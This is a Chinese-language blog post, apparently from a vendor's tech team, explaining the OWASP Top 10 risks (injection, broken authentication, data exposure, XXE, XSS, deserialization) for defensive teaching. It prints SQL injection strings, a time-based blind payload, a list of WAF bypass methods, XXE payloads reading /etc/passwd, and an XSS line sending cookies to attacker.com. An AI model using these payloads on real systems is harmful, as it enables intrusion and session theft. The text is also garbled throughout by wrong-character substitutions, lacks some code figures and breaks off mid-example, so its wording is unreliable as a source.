WebApp 安全风险与防御课堂（第二讲）开课了！

本文由葡萄城技术团队于原创并首发

转载请注明出处：葡萄城官网，葡萄城为开发者提供专业的开发工具、解决方案和服务，赋能开发者。

 

在昨天的公开课中，因为参与的小伙伴们积极性和热情很是高，咱们的讲师Carl（陈庆）把原定第二讲的大部分也一并献出了，因此原定三场的公开课也变为了两场，本系列的公开课生动有趣、干货满满、受众普遍，因此没有参与上次课程的小伙伴们此次请不要忘记了，本期公开课，咱们将着重介绍OWASP Top 10（10项最严重的Web应用程序安全风险预警）及其应对策略。公开课地址：http://live.vhall.com/137416596

 

OWASP Top 10 应用安全风险详解

《OWASP Top 10》的目的在于为广大企业肯定一组最严重的风险项目。对于其中的每一项风险，咱们将使用基于OWASP风险等级排序的评级方案，为您提供关于漏洞广泛性、可检测性、业务/技术影响等信息。

 

1、注入

将不受信任的数据做为命令或查询的一部分发送到解析器时，会产生诸如SQL注入、NoSQL注入、OS注入和LDAP注入等注入缺陷。攻击者的恶意数据能够诱使解析器在没有适当受权的状况下执行非预期命令或访问数据。

 

 

可利用性：容易

几乎任何数据源都能成为注入载体，包括环境变量、全部类型的用户、参数、外部和内部Web服务。当攻击者能够向解释器发送恶意数据时，注入漏洞即可产生。

广泛性：常见

注入漏洞十分广泛，尤为是在遗留代码中。注入漏洞一般能在SQL、LDAP、XPath或是NoSQL查询语句、OS命令、XML解析器、SMTP包头、表达式语句及ORM查询语句中找到。

可检测性：易

注入漏洞很容易经过代码审查发现。扫描器和模糊测试工具能够帮助攻击者找到这些漏洞。

技术影响：严重

注入能致使数据丢失、破坏或泄露给无受权方、缺少可审计性或是拒绝服务。注入有时甚至能致使主机被彻底接管。

业务影响：未知

您的应用和数据须要受到保护，以免对业务形成影响。

自查：您的应用程序脆弱吗？

当您的应用有以下状况时，是脆弱且易受到攻击的：

1. 用户提供的数据没有通过应用程序的验证、过滤或净化。
2. 动态查询语句或非参数化的调用，在没有上下文感知转义的状况下，被用于解释器。
3. 在ORM搜索参数中使用了恶意数据，这样搜索就得到包含敏感或未受权的数据。
4. 恶意数据直接被使用或链接，诸如SQL语句或命令在动态查询语句、命令或存储过程当中包含结构和恶意数据。

一些常见的注入，包括：SQL、OS命令、ORM、LDAP和表达式语言（EL）或OGNL注入。

全部编译器的原理都是类似的，所以 Code Review是目前为止最有效的检测应用程序注入风险的办法之一。固然，您也能够对代码中全部参数、字段、头、cookie、JSON和XML数据输入进行DAST扫描，并将SAST和DAST工具添加到CI/CD进程中，以便在项目部署前对现有代码或新代码进行注入检测。

如何防止注入？

防止注入漏洞须要将数据与命令语句、查询语句分隔开来：

1. 最佳选择是使用安全的API，彻底避免使用解释器，或提供参数化界面的API，或迁移到ORM或实体框架中。（注意：当参数化时，若是PL/SQL或T-SQL将查询和数据链接在一块儿，或者执行带有当即执行或exec()的恶意数据，存储过程仍然能够引入SQL注入漏洞。）
2. 使用正确或符合“白名单”规范的输入验证方法，一样有助于防止注入攻击，但这极可能引发用户的吐槽，由于许多应用程序在输入中须要特殊字符，如文本区域或移动应用程序的API。
3. 对于全部动态查询，可使用该解释器的特定转义语法转义特殊字符。OWASP的Java Encoder和相似的库提供了这样的转义例程。（注意：在SQL结构中，表名、列名等没法转义，所以用户提供的结构每每是很是危险的。）
4. 在查询中使用LIMIT和其余SQL控件，防止在SQL注入时引起大量数据泄露。

攻击案例场景

场景#1：应用程序在脆弱的SQL语句结构中使用不可信数据：

String query = "SELECT * FROM accounts WHERE

custID='" + request.getParameter("id") + "'“;

场景#2：框架应用的盲目信任，也可能致使查询语句的漏洞。（例如：Hibernate查询语言（HQL））：

Query HQLQuery = session.createQuery("FROM accounts

WHERE custID='" + request.getParameter("id") + "'");

 

在这两个案例中，攻击者在浏览器中将“id”参数的值修改为： ’or’1’=’1。例如：

http://example.com/app/accountView?id=' or '1'='1

这样查询语句的意义就变成了从accounts表中返回全部记录。

SQL盲注

SQL盲注，就是在SQL语句注入后且成功执行时，执行的结果不能回显到前端页面。此时，咱们须要利用一些方法进行判断或者尝试，这个过程称之为盲注。

盲注通常分为三类：

1、基于布尔的盲注

基于布尔的盲注一般使用逻辑判断推测获取的数据，经过给定条件，服务器返回真或假。使用二分法或者正则表达式等方法便可缩小判断的范围。

2、基于时间的盲注

主要是利用延时或者执行的时间来判断。

If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句，条件为假，执行 sleep

由于延时会受到网络环境的影响，所以这种方法不是很可靠。

3、基于报错的盲注

构造payload让信息经过错误提示显示。

count(*)和rand(0)和group by报错

rand(0)是伪随机数列，01101100。产生报错的缘由是由于rand(0)并非一个定值，至关于一个变量。使用group by时，会创建一张虚拟表，字段为key和count(*)。执行插入操做，第一次返回0，但虚拟表中没有这个项，数据库会认为须要插入这个项，但数据库并无记录下来，所以，会再次执行rand(0) 试图获取，但此时获取的是第二个数。依次类推，当数据库查询发现0这个项不存在，执行插入操做时， rand(0)返回值为1，可是1已经存在，这时插入已经存在的项就会报错。

WAF绕过

之因此要谈到WAF的常见特征，是为了更好的了解WAF的运行机制，以便增长绕过WAF的机会。整体来讲，WAF(Web Application Firewall)具备如下四个方面的功能：

1. 审计设备：用来截获全部HTTP数据或者仅仅知足某些规则的会话
2. 访问控制设备：用来控制对Web应用的访问，既包括主动安全模式也包括被动安全模式
3. 架构/网络设计工具：当运行在反向代理模式，他们被用来分配职能，集中控制，虚拟基础结构等
4. WEB应用加固工具：这些功能加强被保护Web应用的安全性，它不只可以屏蔽WEB应用固有弱点，并且可以保护WEB应用编程错误致使的安全隐患

WAF过滤机制：

1. 异常检测协议：拒毫不符合HTTP标准的请求；
2. 加强的输入验证：代理和服务端的验证，而不仅是限于客户端验证；
3. 白名单&黑名单：白名单适用于稳定的Web应用，黑名单适合处理已知问题；
4. 基于规则和基于异常的保护：基于规则更多的依赖黑名单机制，基于异常更为灵活；
5. 状态管理：重点进行会话保护；
6. 其余：Cookies保护、抗入侵规避技术、响应监视和信息泄露保护等。

绕过WAF的方法：

从目前能找到的资料来看，绕过WAF的技术主要分为9类，包含：

1. 大小写混合（最简单的绕过技术，用于只针对小写或大写的关键字匹配技术）
2. 替换关键字（这种方式大小写转化没法绕过，并且正则表达式会替换或删除select、union这些关键字，若是只匹配一次就很容易绕过）
3. 使用编码（URL编码、Unicode编码）
4. 使用注释（普通注释、内联注释）
5. 等价函数与命令（有些函数或命令因其关键字被检测出来而没法使用，可是在不少状况下可使用与之等价或相似的代码替代其使用）
6. 特殊符号（特殊符号有特殊的含义和用法，涉及信息量比前面提到的几种都要多）
7. HTTP参数控制（这里HTTP参数控制除了对查询语句的参数进行篡改，还包括HTTP方法、HTTP头的控制）
8. 缓冲区溢出（缓冲区溢出用于对付WAF，有很多WAF是C语言写的，而C语言自身没有缓冲区保护机制，所以若是WAF在处理测试向量时超出了其缓冲区长度，就会引起bug从而实现绕过）
9. 整合绕过（整合的意思是结合使用前面谈到的各类绕过技术，单一的技术可能没法绕过过滤机制，可是多种技术的配合使用成功的可能性就会增长很多。除非每一种技术单独都没法使用，不然它们能产生比自身大得多的能量。）

2、身份认证失效

经过错误地使用Web应用程序的身份认证和会话管理功能，攻击者可以破译密码、密钥和会话令牌，或者利用其它开发缺陷来暂时性或永久性地冒充管理员的身份。

 

 

可利用性：容易

攻击者能够轻松获取数百万条有效用户名和密码组合，包括证书、默认的帐户管理列表、自动的暴力破解和字典攻击工具，以及高级的GPU破解工具。会话管理能够很容易地被利用，尤为是没有过时的会话密匙。

广泛性：常见

大多数管理系统的设计和实现，都存在身份认证失效的问题。会话管理是身份验证和访问控制的基础，而且存在于整个应用程序的进程中。

可检测性：通常

攻击者一般使用指南手册来检测失效的身份验证。除此以外，也会关注密码转储、字典攻击，或者在相似钓鱼、社会工程攻击后，发现失效的身份认证。

技术影响：严重

攻击者只需访问几个帐户，或者一个管理员帐户就能够破坏咱们的系统。根据应用程序业务场景的不一样，可能会致使洗钱、欺诈、用户身份盗窃、泄露法律保护的敏感信息等严重违法行为。

自查：您的应用程序脆弱吗？

确认用户身份、身份验证和会话管理很是重要，这些措施可用于将恶意的、未经身份验证的攻击者与受权用户进行分离。若是您的应用程序存在以下问题，那么可能存在身份验证失效漏洞：

1. 容许凭证填充，攻击者可利用此得到有效的用户名和密码。
2. 容许暴力破解或其余自动攻击。
3. 使用默认、弱安全性的密码，例如“Password1”或“admin/admin”。
4. 使用弱安全性或失效的验证凭证。
5. 使用明文、加密或弱散列密码。
6. 缺乏或失效的多因素身份验证。
7. 暴露URL中的会话ID（例如URL重写）。
8. 在成功登陆后不会更新会话ID。
9. 不正确地使会话ID失效。当用户不活跃的时候，用户会话或认证令牌（特别是单点登陆（SSO）令牌）没有正确注销或失效。
10. 在尽量的状况下，使用多因素身份验证，以防止凭证填充、暴力破解和被盗凭据再利用攻击。
11. 不要使用已发送或部署默认的凭证，特别是管理员用户。
12. 按期执行弱密码检查。
13. 将密码长度、复杂性和循环策略与NIST-800-63 B的指导方针或其余现代的密码策略保持一致。
14. 确认注册、凭据恢复和API路径，确保对全部输出结果使用相同的消息，用以抵御帐户枚举攻击。
15. 限制或逐渐延迟失败的登陆尝试。记录全部失败信息并在凭据填充、暴力破解或其余攻击被检测时提醒系统管理员。
16. 使用服务器端内置的会话管理器，在登陆后生成高度复杂且不存在于URL的随机会话ID。这样当用户登出、闲置、绝对超时后使其失效。

如何防止？

 

攻击案例场景

场景#1：最多见的攻击方式——凭证填充，使用已知密码的列表。若是应用程序不限制身份验证尝试次数，则能够将应用程序用做密码oracle， 以肯定凭证是否有效。

场景#2：大多数身份验证攻击都是因为密码做为惟一的认证因素。

场景#3：应用会话超时设置不正确。用户使用公共计算机访问应用程序时，直接关闭浏览器选项卡就离开，而不是选择“注销”。

凭据填充（撞库）

撞库，是黑客经过收集互联网已泄露的用户和密码信息，生成对应的字典表，尝试批量登录其余网站后，获得一系列能够登陆的用户。不少用户在不一样网站使用的是相同的帐号和密码，所以黑客能够经过获取用户在A网站的帐户从而尝试登陆B网站，这就是撞库攻击。

撞库能够经过数据库安全防御技术解决，数据库安全技术包括：数据库漏扫、数据库加密、数据库防火墙、数据脱敏、数据库安全审计系统。

撞库并不神秘，事实上，它正被普遍的使用。举例而言，根据Shape Security的报告，“攻击者们一旦锁定了一个财富100强的B2C(企业对消费者)网站，就会在一个星期内使用遍及世界各地的代理服务器，对其进行超过五百万次登陆尝试。” 雪上加霜的是，被窃取的凭证也并不难找。黑客们会为了找乐子或寻求扬名立万的机会把凭证散播到网上。当黑客们在凭证黑市(好比Cracking-dot-org、 Crackingking-dot-org以及 Crackingseal-dot-io)作生意时，这些名声会派上大用场。

多因素验证

多因素验证（Multi-factor authentication，缩写为 MFA），又译多因子认证、多因素认证，是一种计算机访问控制的方法，用户要经过两种以上的认证机制以后，才能获得受权，使用计算机资源。例如，用户要输入PIN码，插入银行卡，最后再经指纹比对，经过这三种认证方式，才能得到受权。这种认证方式能够提升安全性。

3、敏感数据泄露

许多Web应用程序和API都没法正确保护敏感数据，例如：财务数据、医疗数据和PII数据。攻击者能够经过窃取或修改未加密的数据来实施信用卡诈骗、身份盗窃或其余犯罪行为。未加密的敏感数据容易受到破坏，所以，咱们须要对敏感数据加密，这些数据包括：传输过程当中的数据、存储的数据以及浏览器的交互数据。

 

 

可利用性：通常

攻击者并不是直接攻击，而是在传输过程当中、从客户端（例如：浏览器）窃取密钥、发起中间人攻击，或从服务器端直接窃取明文数据。

广泛性：普遍

这是最多见，也是最具影响力的攻击手段。在数据加密的过程当中，因为不安全的密钥生成、管理以及使用弱加密算法、弱协议和弱密码（未加盐的哈希算法或弱哈希算法），致使数据泄露事件频发。

可检测性：通常

在服务器端，检测传输过程当中的数据弱点很容易，但检测存储数据的弱点却异常困难。

技术影响：严重

敏感数据泄露事件形成的影响是很是严重的，由于这些数据一般包含了不少我的信息（PII），例如：医疗记录、认证凭证、我的隐私、信用卡信息等。这些信息受到相关法律和条例的保护，例如：欧盟《通用数据保护条例》（GDPR）和地方隐私保护法律。

自查：您的应用程序脆弱吗？

首先你须要确认哪些数据（包含：传输过程当中的数据、存储数据）是敏感数据。例如：密码、信用卡卡号、医疗记录、我的信息等，这些数据应该被加密，请Review：

1. 在数据传输过程当中是否使用明文传输？这和传输协议相关，如：HTTP、SMTP和FTP。（注意：外网流量十分危险，请验证全部的内部通讯，如：负载平衡器、Web服务器或后端系统之间的通讯。）
2. 当数据被长期存储时，不管存储在哪里，它们是否都被加密或备份？
3. 不管默认条件仍是源代码中，是否还在使用任何旧的、脆弱的加密算法？
4. 是否使用默认加密密钥，生成或重复使用脆弱的加密密钥，或者缺乏恰当的密钥管理或密钥回转？
5. 是否强制加密敏感数据，例如：用户代理（如：浏览器）指令，传输协议是否被加密？
6. 用户代理（如：应用程序、邮件客户端）是否未验证服务器端证书的有效性？

如何防止？

对一些须要加密的敏感数据，应该作到如下几点：

1. 对系统处理、存储或传输的数据分类，并根据分类分别进行访问控制。
2. 熟悉与敏感数据保护相关的法律和条例，并根据每项法规的要求保护敏感数据。
3. 对于不必存放，但重要的敏感数据，应当尽快清除，或者经过 PCI DSS标记或拦截，只有未存储的数据才不会被窃取。
4. 确保已存储的全部敏感数据都被加密。
5. 确保使用了最新、强大的标准算法或密码、参数、协议和密钥，而且密钥管理到位。
6. 确保传输过程当中的数据被加密，如：使用TLS。
7. 确保数据加密被强制执行，如：使用HTTP严格安全传输协议（HSTS ）。
8. 禁止缓存对包含敏感数据的响应。
9. 确保使用密码专用算法存储密码，如：Argon2 、scrypt 、bcrypt 或PBKDF2 。

10. 将工做因素（延迟因素）设置在可接受的范围。

11. 单独验证每一个安全配置项的有效性。

攻击案例场景

场景 #1：假设一个应用程序使用自动化的数据加密系统加密了信用卡信息，并存储在数据库中，当数据被检索时自动解密。这会致使SQL注入漏洞可以以明文形式得到全部信用卡卡号。

场景 #2：一个网站上没有使用或强制使用TLS，或者仅使用弱加密算法。攻击者经过监测网络流量（如：不安全的无线网络），将网络链接从HTTPS降级到HTTP，就能够截取请求并窃取用户会话 cookie。而后，攻击者能够复制用户cookie并成功劫持通过认证的用户会话、访问或修改用户我的信息。除此以外，攻击者还能够更改全部传输过程当中的数据，如：转款的接收者。

场景 #3：密码数据库使用未加盐的哈希算法或弱哈希算法去存储密码，此时，一个文件上传漏洞可以使黑客可以获取密码文件，而这些未加盐的哈希密码经过彩虹表暴力破解方式便可快速破解。

各国应对措施

日本我的信息保护法

近年来，因信息、通讯技术的发展，企业须要收集大量我的信息，用以提供准确且迅速的服务。我的信息的利用，不管是对现今的商业活动，仍是对国民生活都变得不可或缺。可是，另外一方面，因为处理我的信息情况不当，致使我的权利和利益受到损害的可能性也在增大。在日本，包含企业和政府等团体的组织内部，泄露的我的信息数量累积超过了1000万件。因而，鉴于规范处理我的信息，明确国家及地方公共团体的职责，确保我的信息有效利用等目的，日本于2005年4月1日起颁布《我的信息保护法》。

欧盟《通用数据保护条例》（GDPR)

欧盟《通用数据保护条例》（General Data Protection Regulation，简称GDPR），其前身是欧盟在1995年制定的《计算机数据保护法》，该法明确规定：

1. 对违法企业的罚金最高可达2000万欧元（约合1.5亿元人民币）或其全球营业额的4%，以高者为准。
2. 网站经营者必须事先向客户说明会自动记录客户的搜索和购物记录，并得到用户的赞成，不然按“未告知记录用户行为”做违法处理。
3. 企业不能再使用模糊、难以理解的语言，或冗长的隐私政策来从用户处获取数据使用许可。
4. 明文规定了用户的“被遗忘权”（right to be forgotten），即用户我的能够要求责任方删除关于本身的数据记录。

设计安全帐号系统的正确姿式

数据安全防范的方法简单来讲，当数据从用户键盘敲出的那一刻，到服务器后台存储过程当中，都需保持正确的姿式。如：

1. 用正确的姿式保存密码

a)     低级错误：明文保存密码

b)    低级错误：可逆加密密码

c)     错误方法：md5 加密密码

d)    正确方法：加盐 hash 保存密码

1. 用正确的姿式传输数据

a)     验证服务端的合法性

b)    确保通讯的安全

1. 用正确的姿式加密敏感信息
2. 用正确的姿式对数据进行备份和监控

 

4、XML 外部实体（XXE）

许多较早的或配置错误的XML处理器评估了XML文件中的外部实体引用。攻击者能够利用外部实体窃取使用URI文件处理器的内部文件和共享文件、监听内部扫描端口、执行远程代码和实施拒绝服务攻击。

 

 

可利用性：通常

若是攻击者能够上传XML文档或在XML文档中添加恶意内容（如，易受攻击的代码、依赖项或集成），他们就可以攻击含有缺陷的XML处理器。

广泛性：常见

通常来讲，许多旧的XML处理器可以对外部实体、XML进程中被引用和评估的URI进行规范。SAST 工具能够经过检查依赖项和安全配置来发现XXE缺陷。DAST工具须要额外的手动步骤来检测和利用XXE缺陷。

技术影响：严重

XXE缺陷可用于提取数据、执行远程服务器请求、扫描内部系统、执行拒

绝服务攻击和其余攻击。

 

自查：您的应用程序脆弱吗？

应用程序，特别是基于XML的Web服务，可能在如下方面容易受到攻击：

1. 您的应用程序直接接受XML文件或者接受XML文件上传，特别是来自不受信任源的文件，或者将不受信任的数据插入XML文件，并提交给XML处理器解析。
2. 在应用程序或基于Web服务的SOAP中，全部XML处理器都启用了文档类型定义（DTDs）。
3. 为了实现安全性或单点登陆（SSO），您的应用程序应该使用了 SAML进行身份认证，而假设SAML使用了XML进行身份确认，那么您的应用程序就容易受到XXE攻击。
4. 若是您的应用程序使用第1.2版以前的SOAP，并将XML实体传递到SOAP框架，那么它可能受到XXE攻击。
5. 存在XXE缺陷的应用程序更容易受到拒绝服务攻击，如： Billion Laughs 攻击。

如何防止？

培训开发人员的安全意识，是识别和减小XXE的关键，除此以外，还须要：

1. 尽量地使用简单的数据格式（如：JSON），避免对敏感数据进行序列化。 
2. 及时修复或更新应用程序或底层操做系统使用的XML处理器和库。同时，经过依赖项检测，将SOAP更新到1.2版本或更高版本。
3. 参考《OWASP Cheat Sheet ‘XXE Prevention‘》，在应用程序的全部XML解析器中禁用XML外部实体和DTD进程。
4. 在服务器端实施（“白名单”）输入验证、过滤和清理， 以防止在XML文档、标题或节点中出现恶意数据。
5. 验证XML或XSL文件上传功能是否使用了XSD验证或其余相似的验证。
6. 尽管在许多集成环境中，手动代码审查是大型、复杂应用程序的最佳选择，可是SAST 工具能够检测源代码中的XXE漏洞。 若是没法实现这些控制，请考虑使用虚拟修复程序、API安全网关或Web应用程序防火墙（ WAF ）来检测、监控和防止XXE攻击。

攻击案例场景

目前，已经有大量XXE缺陷被发现并公开，这些缺陷包括上传可被接受的恶意XML文件、嵌入式设备的 XXE缺陷及深嵌套的依赖项等。

场景 #1：攻击者尝试从服务端提取数据：
<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<foo>&xxe;</foo>

场景 #2：攻击者经过将上面的实体行更改成如下内容来探测服务器的专用网络：

<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>

场景 #3：攻击者经过恶意文件执行拒绝服务攻击：

<!ENTITY xxe SYSTEM "file:///dev/random" >]>

　　

XML基本定义

XML是用于标记电子文件使其具备结构性的标记语言，能够用来标记数据、定义数据类型，是一种容许用户对本身的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素。

 

图片来自网络

XML由3个部分构成，分别是：文档类型定义（Document Type Definition，DTD），即XML的布局语言；可扩展的样式语言（Extensible Style Language，XSL），即XML的样式表语言；以及可扩展连接语言（Extensible Link Language，XLL）。

XML 中的实体分为如下五种：字符实体，命名实体，外部实体，参数实体，内部实体，普通实体和参数实体都分为内部实体和外部实体两种，外部实体定义须要加上 SYSTEM关键字，其内容是URL所指向的外部文件实际的内容。若是不加SYSTEM关键字，则为内部实体，表示实体指代内容为字符串。

XML外部实体

XML外部实体表示外部文件的内容，用 SYSTEM 关键词表示：

<!ENTITY test SYSTEM "1.xml">

有些XML文档包含system标识符定义的“实体”，这些文档会在DOCTYPE头部标签中呈现。这些定义的“实体”可以访问本地或者远程的内容。好比，下面的XML文档示例就包含了XML“实体”。

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE Anything [

<!ENTITY entityex SYSTEM "file:///etc/passwd">

]>

<abc>&entityex;</abc>

在上面的代码中， XML外部实体 ‘entityex’ 被赋予的值为：file://etc/passwd。在解析XML文档的过程当中，实体’entityex’的值会被替换为URI(file://etc/passwd)内容值（也就是passwd文件的内容）。 关键字’SYSTEM’会告诉XML解析器，’entityex’实体的值将从其后的URI中读取，并把读取的内容替换entityex出现的地方。

假如 SYSTEM 后面的内容能够被用户控制，那么用户就能够随意替换为其余内容，从而读取服务器本地文件（file:///etc/passwd)或者远程文件（http://www.baidu.com/abc.txt）。

XXE 注入定义

XXE注入（即XML External Entity, XML外部实体注入）。经过 XML 实体，”SYSTEM”关键词致使 XML 解析器能够从本地文件或者远程 URI 中读取数据。攻击者能够经过 XML 实体传递本身构造的恶意值，从而引导处理程序解析它。当引用外部实体时，攻击者经过构造恶意内容，可读取任意文件、执行系统命令、探测内网端口、攻击内网网站等行为。

XXE 漏洞原理

最多见的XXE漏洞类型分为如下三种：

1. 基础的XXE注入— 外部实体注入本地DTD
2. 基于盲注的XXE注入—XML解析器在响应中不显示任何错误
3. 基于错误的XXE注入—成功解析以后，XML解析器始终显示SAME响应。（即“您的消息已被接收”），所以，咱们可能但愿解析器将文件的内容“打印”到错误响应中。

既然XML能够从外部读取DTD文件，那咱们就天然地想到了若是将路径换成另外一个文件的路径，那么服务器在解析这个XML的时候就会把那个文件的内容赋值给SYSTEM前面的根元素中，只要咱们在XML中让前面的根元素的内容显示出来，就能够读取那个文件的内容了。这就形成了一个任意文件读取的漏洞。

假设咱们指向的是一个内网主机的端口呢？是否会给出错误信息，咱们是否是能够从错误信息上来判断内网主机这个端口是否开放，这就形成了一个内部端口被探测的问题。通常来讲，服务器解析XML有两种方式，一种是一次性将整个XML加载进内存中，进行解析；另外一种是一部分的、“流式”地加载、解析。若是咱们递归地调用XML定义，一次性调用巨量的定义，那么服务器的内存就会被消耗完，形成了拒绝服务攻击。

5、失效的访问控制

未对经过身份验证的用户实施恰当的访问控制。攻击者能够利用这些缺陷，访问未经受权的功能或数据，例如：访问其余用户的帐户、查看敏感文件、修改其余用户的数据、更改访问权限等。

6、安全配置错误

安全配置错误是最多见的安全问题，这一般是因为不安全的默认配置、不完整的临时配置、开源云存储、错误的 HTTP 标头配置以及包含敏感信息的详细错误信息所形成的。所以，咱们不只须要对全部的操做系统、框架、库和应用程序进行安全配置，并且必须及时修补和升级它们。

7、跨站脚本（XSS）

当应用程序的新网页中包含不受信任的、未经验证或转义的数据时，或者使用能够建立 HTML或 JavaScript 的浏览器 API 更新现有网页时，就会出现 XSS 缺陷。XSS 让攻击者可以在受害者的浏览器中执行脚本，并劫持用户会话、破坏网站或将用户重定向到恶意站点。

 

 

可利用性：容易

自动化工具可以检测并利用全部的三种XSS形式，而且存放在便于攻击者利用的漏洞中。

广泛性：普遍

XSS是OWASP Top10中第二广泛的安全问题，存在于近三分之二的应用程序中。

可检测性：容易

自动化工具能发现XSS问题，尤为是一些成熟的技术框架中，如：PHP、J2EE或JSP、ASP.NET等。

技术影响：中等

XSS对于反射和DOM的影响是中等的，而对于存储的XSS，XSS的影响更为严重，譬如在受到攻击的浏览器上执行远程代码，如：窃取凭证和会话或传递恶意软件等。

自查：您的应用程序脆弱吗？

针对用户的浏览器，存在三种XSS类型：

1. 反射式XSS：应用程序或API包含未经验证和未经转义的用户输入，并做为HTML输出的一部分，受到此类攻击可让攻击者在受害者的浏览器中执行任意的HTML和JavaScript。
2. 存储式XSS：你的应用或者API将未净化的用户输入进行存储，并在其余用户或者管理员的页面展现出来。存储型XSS通常被认为是高危或严重的风险。
3. 基于DOM的XSS：会动态的将攻击者操控的内容加入到页面的 JavaScript框架、单页面程序或API中。为避免此类攻击，你应该禁止将攻击者可控的数据发送给不安全的JavaScript API。

典型的XSS攻击形成的结果包含：盗取Session、帐户、绕过MFA、DIV替换、对用户浏览器的攻击（例如：恶意软件下载、键盘记录）以及其余用户侧的攻击。

如何防止？

防止XSS，须要将不可信的数据与动态的浏览器内容区分开：

1. 使用已解决XSS问题的框架，如：Ruby 3.0 或 React JS。了解每一个框架对XSS保护的局限性，并适当地处理未覆盖的用例。
2. 为了不反射式或存储式的XSS漏洞，最好的办法是根据HTML 输出的上下文（包括：主体、属性、JavaScript、CSS或URL） 对全部不可信的HTTP请求数据进行恰当的转义 。
3. 在客户端修改浏览器文档时，为了不DOM XSS攻击，最好的选择是实施上下文敏感数据编码。若是这种状况不能避免，能够采用《OWASP Cheat Sheet ‘DOM based XSS Prevention ‘》 一文中描述的相似于上下文敏感的转义技术，并应用于浏览器API。
4. 使用内容安全策略（CSP）是对抗XSS的最终防护策略。若是不存在能够经过本地文件存放恶意代码的漏洞（例如：路径遍历覆盖和容许在网络中传输的易受攻击的库），则该策略是有效的。

攻击案例场景

场景#1：应用程序在下面的HTML代码段构造中使用了未经验证或转义的不可信的数据源：

(String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC“) + "'>";

攻击者在浏览器中修改“CC” 参数为以下值：

'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.

这个攻击会致使受害者的会话ID被发送到攻击者的网站，使得攻击者可以劫持用户当前会话。

内容安全策略 (CSP)

内容安全策略 (CSP) 是一个额外的安全层，用于检测并削弱某些特定类型的攻击，包括跨站脚本 (XSS) 和数据注入攻击等。不管是数据盗取、网站内容污染仍是恶意软件，这些攻击都是主要的手段。

CSP 被设计成彻底向后兼容（除CSP2 在向后兼容有明确说起的不一致外）。不支持CSP的浏览器也能与实现了CSP的服务器正常合做，反之亦然：不支持 CSP 的浏览器只会忽略它，如常运行，默认为网页内容使用标准的同源策略。若是网站不提供 CSP Header，浏览器将使用标准的同源策略。

为使CSP可用, 你须要配置你的网络服务器返回  Content-Security-Policy  HTTP Header ( 有时你会看到一些关于X-Content-Security-Policy Header的提法, 那是旧版本，你无须再如此指定它)。

除此以外,  <meta>  元素也能够被用来配置该策略, 例如：

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

上下文敏感数据编码（XSS编码与绕过）

对于了解Web安全的朋友来讲，都知道XSS这种漏洞，其危害性不用强调。通常对于该漏洞的防御有两个思路：一是过滤敏感字符，诸如【<，>，script，'】等，另外一种是对敏感字符进行html编码，诸如php中的htmlspecialchars()函数。

通常状况，正确实施这两种方案之一就能够有效防护XSS漏洞了。但其实也会有一些场景，即便实施了这两种方案，攻击者也能够绕过防御，致使XSS漏洞被利用。

场景一：XSS注入点在某个html标签属性中，代码片断以下：

 

能够看到，这里防御措施采用的是方案一：过滤敏感字符。这里若是输入javascript:alert (11)，是会被过滤掉的，输出的内容会是：

 

 

场景二：XSS注入点在js标签中，代码片断以下：

 

 

这里采用的防御措施是第二种，即便用php内置函数htmlspecialchars对敏感字符进行编码。若是输入正常的payload，如：<img src=1 onerror=alert(11)>，是不会有弹窗的，此时浏览器的输出以下图：

 

 

这里的敏感字符< >，已经被html编码了，最后在<div>标签里面输出的时候，浏览器再使用html解码将其原文显示出来，可是并不会触发js引擎，因此也就没有弹窗。

下图是js编码后的payload：

 

 

8、不安全的反序列化

不安全的反序列化会致使远程代码执行。即便反序列化缺陷不会致使远程代码执行，攻击者也能够利用它们来执行攻击，包括：重播攻击、注入攻击和特权升级攻击。

 

 

可利用性：难

对反序列化的利用很是困难。由于在不更改或调整底层可被利用代码的状况下，现成的反序列化漏洞很难被使用。

可检测性：通常

有些工具能够被用于发现反序列化缺陷，但常常须要人工帮助来验证发现的问题。但愿有关反序列化缺陷的广泛性数据将随着工具的开发而被更多的识别和解决。

技术影响：严重

反序列化缺陷的影响不能被低估。它们可能致使远程代码执行攻击，这是可能发生的最严重的攻击之一。

自查：您的应用程序脆弱吗？

若是反序列化进攻者提供恶意代码或者被篡改过的对象，将会使整个应用程序和API变的脆弱，这可能会致使如下两种主要类型的攻击：

1. 若是应用中存在能够在反序列化过程当中或者以后被改变行为的类，则攻击者能够经过改变应用逻辑或者实现远程代码执行攻击，这种攻击方式被称为对象和数据结构攻击。
2. 典型的数据篡改攻击，如访问控制相关的攻击，其中使用了现有的数据结构，但内容发生了变化。

在应用程序中，序列化可能被用于:

• 远程和进程间通讯（RPC / IPC）
• 连线协议、Web服务、消息代理
• 缓存/持久性
• 数据库、缓存服务器、文件系统
• HTTP cookie、HTML表单参数、API身份验证令牌

如何防止？

惟一安全的架构模式是：不接受来自不受信源的序列化对象，或使用只容许原始数据类型的序列化媒体。 若是上述均没法实现，请考虑使用下面的方法：

1. 执行完整性检查，如：任何序列化对象的数字签名，以防止恶意对象建立或数据篡改。
2. 在建立对象以前强制执行严格的类型约束，由于代码一般被指望成一组可定义的类。绕过这种技术的方法已经被证实，因此彻底依赖于它是不可取的。
3. 若是可能，隔离运行那些在低特权环境中的反序列化代码。
4. 记录反序列化的例外状况和失败信息，如：传入的类型不是预期的类型，或者反序列处理引起的例外状况。
5. 限制或监视来自于容器或服务器传入和传出的反序列化网络链接。
6. 监控反序列化，当用户持续进行反序列化时，对用户进行警告。

攻击案例场景

场景 #1：一个React应用程序调用了一组Spring Boot微服务，为了确保原有的代码不变，解决方法是序列化用户状态，并在每次请求时来回传递。这时，攻击者可利用“R00”Java对象签名，并使用Java Serial Killer工具在应用服务器上得到远程代码执行。

场景 #2：一个PHP论坛使用PHP对象序列化来保存一个“超级”cookie。该cookie包含了用户的ID、角色、密码哈希和其余状态：

a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

攻击者能够更改序列化对象以授予本身为admin权限：

